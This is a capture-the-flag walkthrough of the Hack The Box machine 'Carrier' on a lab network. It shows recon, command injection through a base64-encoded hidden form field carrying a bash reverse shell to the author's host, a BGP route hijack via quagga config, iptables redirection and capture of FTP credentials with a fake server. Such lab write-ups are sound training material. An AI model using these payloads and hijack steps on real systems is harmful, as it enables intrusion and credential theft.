HTB: Carrier

Details

This machine is Carrier from Hack the box and is on IP 10.10.10.105

Recon Phase

First some service discovery

root@kali:~# nmap -sV -T4 10.10.10.105
Nmap scan report for 10.10.10.105
Host is up (0.033s latency).
Not shown: 997 closed ports
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open     http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.63 seconds

Shell Hunting

First the web server on http://10.10.10.105

Screenshot 1

And setup dirbuster

Screenshot 2

Screenshot 3

I went though each page, starting with /tools

Screenshot 4

Then /debug

Screenshot 5

Then /doc

Screenshot 6

I looked in the error code pdf as the main page had some errors

Screenshot 7

The errors meant the license wasn't valid and that the default admin password was set. Looking around at the version I found the serial number could be the default password. I also looked in the png

Screenshot 8

This seemed to show a network layout. After finding nothing I moved back to nmap, checking for udp

root@kali:~# nmap -T4 -sUV 10.10.10.105
Nmap scan report for 10.10.10.105
Host is up (0.033s latency).
Not shown: 967 closed ports, 32 open|filtered ports
PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; pysnmp SNMPv3 server (public)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

I tried smbwalk on it

root@kali:~# snmpwalk 10.10.10.105 -c public -v 1
iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
End of MIB

SN made me think serial number, so I tried using the creds

admin:NET_45JDX23

As the login

Screenshot 9

And the tickets submenu

Screenshot 10

This leaked some nice details, such as IP ranges

10.120.15.0/24
10.120.16.0/24
10.120.17.0/24

Lots of mentions of routes, but I needed a shell before any of this, so I went to the other page, for the Diagnostics tab

Screenshot 11

And clicked the verify button

Screenshot 12

That is the output of some form of shell command, and also mentions a tool called quagga, in the source I found a hidden input called "check" with the following value

cXVhZ2dh

Which is base64 for

quagga

So I setup burp and decided to inject extra stuff onto the end and see if it would end up in a shell, so I setup a listener

root@kali:~# nc -nlvp 4444

And tried lots of shells, base64 encoding before sending it, eventually trying

quagga; bash -i >& /dev/tcp/10.10.14.7/4444 0>&1

Which encoded to

cXVhZ2dhOyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjcvNDQ0NCAwPiYx

Usinf burp I set the value of check to that

Screenshot 13

In the listener

connect to [10.10.14.7] from (UNKNOWN) [10.10.10.105] 39448
bash: cannot set terminal process group (43804): Inappropriate ioctl for device
bash: no job control in this shell
root@r1:~#

I have a root shell on this machine, which seemed to easy, so I guessed there is probably more to this. So I began to dig

root@r1:~# ls -la
drwx------ 1 root root  162 Jul  3  2018 .
drwxr-xr-x 1 root root  140 Jun 22  2018 ..
-rw-r--r-- 1 root root 3121 Jul  2  2018 .bashrc
drwx------ 1 root root   40 Jul  2  2018 .cache
drwxr-xr-x 1 root root    0 Jul  2  2018 .nano
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-r--r-- 1 root root   66 Jul  2  2018 .selected_editor
drwx------ 1 root root   52 Jul  2  2018 .ssh
-rw-r--r-- 1 root root    0 Jul  3  2018 test_intercept.pcap
-rw-r--r-- 1 root root   33 Jul  2  2018 user.txt
-rw------- 1 root root 5120 Jul  3  2018 .viminfo

Well there is the user flag

root@r1:~# cat user.txt
[REDACTED]

Now the tickets seen earlier mentioned other machines, and also an ftp server on the range 10.120.15.0/24, so I used bash to try and find the server

root@r1:/# for i in $(seq 1 255); do ping -c 1 10.120.15.$i; done | grep "bytes from"
64 bytes from 10.120.15.1: icmp_seq=1 ttl=64 time=0.065ms
64 bytes from 10.120.15.10: icmp_seq=1 ttl=63 time=0.123ms

So I tested each of these for open ports

root@r1:~# for i in $(seq 1 65535); do nc -nvz -w 1 10.120.15.1 $i 2>&1; done | grep -v "Connection refused"
Connection to 10.120.15.1 22 port [tcp/*] succeeded!
Connection to 10.120.15.1 179 port [tcp/*] succeeded!
root@r1:~# for i in $(seq 1 65535); do nc -nvz -w 1 10.120.15.10 $i 2>&1; done | grep -v "Connection refused"
Connection to 10.120.15.10 21 port [tcp/*] succeeded!
Connection to 10.120.15.10 22 port [tcp/*] succeeded!
Connection to 10.120.15.10 53 port [tcp/*] succeeded!
nc: connect to 10.120.15.10 port 28412 (tcp) timed out: Operation now in progress
nc: connect to 10.120.15.10 port 28413 (tcp) timed out: Operation now in progress
nc: connect to 10.120.15.10 port 28414 (tcp) timed out: Operation now in progress

Messing around here didn't yield anything, so I dug further, eventually looking into the bgp mentioned earlier, and as quagga was mentioned earlier and can work with bgp I looked into it

root@r1:/usr/lib/quagga# cd /etc/quagga
root@r1:/etc/quagga# ls -la
drwxrwxr-x 1 quagga quaggavty  186 Jul  2  2018 .
drwxr-xr-x 1 root   root      2988 Jul  2  2018 ..
-rw-r----- 1 quagga quagga     410 Feb  8 15:10 bgpd.conf
-rw-r----- 1 root   root       410 Jul  2  2018 bgpd.conf.orig
-rw-r----- 1 quagga quagga     264 Jul  2  2018 bgpd.conf.sav
-rw-r----- 1 quagga quagga     992 Jul  1  2018 daemons
-rw-r----- 1 quagga quagga     945 Feb  8  2018 debian.conf
-rw-r----- 1 quagga quagga     289 Feb  8 15:10 zebra.conf
-rw-r----- 1 root   root       289 Jul  2  2018 zebra.conf.orig
-rw-r----- 1 quagga quagga     326 Jul  2  2018 zebra.conf.sav

I then setup 3 tcpdumps to watch if my bgp attacks did anything

root@r1:/etc/quagga# tcpdump -vv -i eth0
root@r1:/etc/quagga# tcpdump -vv -i eth1
root@r1:/etc/quagga# tcpdump -vv -i eth2

And dived into the configs

root@r1:/etc/quagga# cat bgpd.conf
!
! Zebra configuration saved from vty
!   2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
!
router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.11.2 remote-as 300
!
line vty
!

Here I stopped for a bit to research BGP hijacking attacks, when I came back I knew I wanted control of the 10.120.15.0/24 region but really only needed the 10.120.15.0/25 region, so I updated the config to declare them

root@r1:/etc/quagga# cat bgpd.conf
!
! Zebra configuration saved from vty
!   2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
!
router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 network 10.120.15.0/24
 network 10.120.15.0/25
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.11.2 remote-as 300
!
line vty
!

And then reloaded quagga

root@r1:/etc/quagga# service quagga restart

And checked the routes

root@r1:/etc/quagga# vtysh -c 'sh ip bgp'
BGP table version is 0, local router ID is 10.255.255.1
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
              i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete
   Network          Next Hop            Metric LocPrf Weight Path
[SNIP]
*  10.120.15.0/24   10.78.10.2                             0 200 300 i
*                   10.78.11.2               0             0 300 i
*>                  0.0.0.0                  0         32768 i
*> 10.120.15.0/25   0.0.0.0                  0         32768 i
[SNIP]

I was now advertising the best routes, so I checked my tcpdumps and saw

10.78.10.2.53148 > 10.120.15.10.ftp: Flags [S], cksum 0x2e00 (incorrect -> 0xcce3), seq 1410422282, win 29200, options [mss 1460,sackOK,TS val 2720382791 ecr 0,nop,wscale 7], length 0

Someone tried to access the ftp server, so I need to rewrite the packets so they are accessed by the machine I controlled

root@r1:/etc/quagga# iptables -t nat -F
root@r1:/etc/quagga# iptables -t nat -A PREROUTING -d 10.120.15.10 -m ttl --ttl-gt 1 -j NETMAP --to 10.78.10.1
root@r1:/etc/quagga# iptables -t nat -A POSTROUTING -s 10.78.10.1 -j NETMAP --to 10.120.15.10

This would redirect the packets to the machine I controlled

root@r1:/etc/quagga# nc -vl 10.78.10.1 21
Listening on [10.78.10.1] (family 0, port 21)

And setup my hijack again (something repeatedly reset the config of bgp)

Connection from [10.78.10.2] port 21 [tcp/ftp] accepted (family 2, sport 53760)

It worked, so next I wanted to forward this to myself so I could setup a fake ftp server, so I grabbed a static socat and transferred it to the machine I controlled

root@kali:~# nc -lnvp 2222 < ./socat
root@r1:/etc/quagga# nc 10.10.14.7 2222 > /tmp/socat

Then used socat to forward the ftp connection to my machine

root@r1:/etc/quagga# chmod +x /tmp/socat
root@r1:/etc/quagga# /tmp/socat TCP-LISTEN:21,fork,reuseaddr TCP:10.10.14.7:8009 &

I then setup my ftp server which I sourced from https://gist.github.com/scturtle/1035886/af4052431c0176382f9b9656ae2ad12a99afcf55 although I changed the port

root@kali:~# python ftp.py
Enter to end...

Then ran my hijack again

Recieved: USER root
Recieved: PASS BGPtelc0rout1ng
Recieved: SYST
'FTPserverThread' object has no attribute 'SYST'
Recieved: PASV
'FTPserverThread' object has no attribute 'PASV'
Recieved: QUIT

So I had some creds, so I turned off my hijack and tried them on the real ftp server

root@r1:/tmp# ftp -p 10.120.15.10

I had to press enter to trigger it to password prompt and used the password from earlier, then

ls -la
drwx------    6 0        0            4096 Sep 05 14:27 .
drwxr-xr-x   23 0        0            4096 Jul 02  2018 ..
-rw-r--r--    1 0        0            3121 Jul 02  2018 .bashrc
drwx------    2 0        0            4096 Jul 02  2018 .cache
drwxr-x---    3 0        0            4096 Jul 01  2018 .config
drwx------    3 0        0            4096 Jul 02  2018 .gnupg
-rw-r--r--    1 0        0             148 Aug 17  2015 .profile
drwx------    2 0        0            4096 Jul 01  2018 .ssh
-rw-------    1 0        0           11080 Sep 05 14:27 .viminfo
-r--------    1 0        0              33 Jul 01  2018 root.txt
-rw-------    1 0        0              33 Feb 08 21:34 secretdata.txt
get root.txt
get secretdata.txt
quit

And read them

root@r1:/tmp# cat secretdata.txt
[REDACTED]
root@r1:/tmp# cat root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.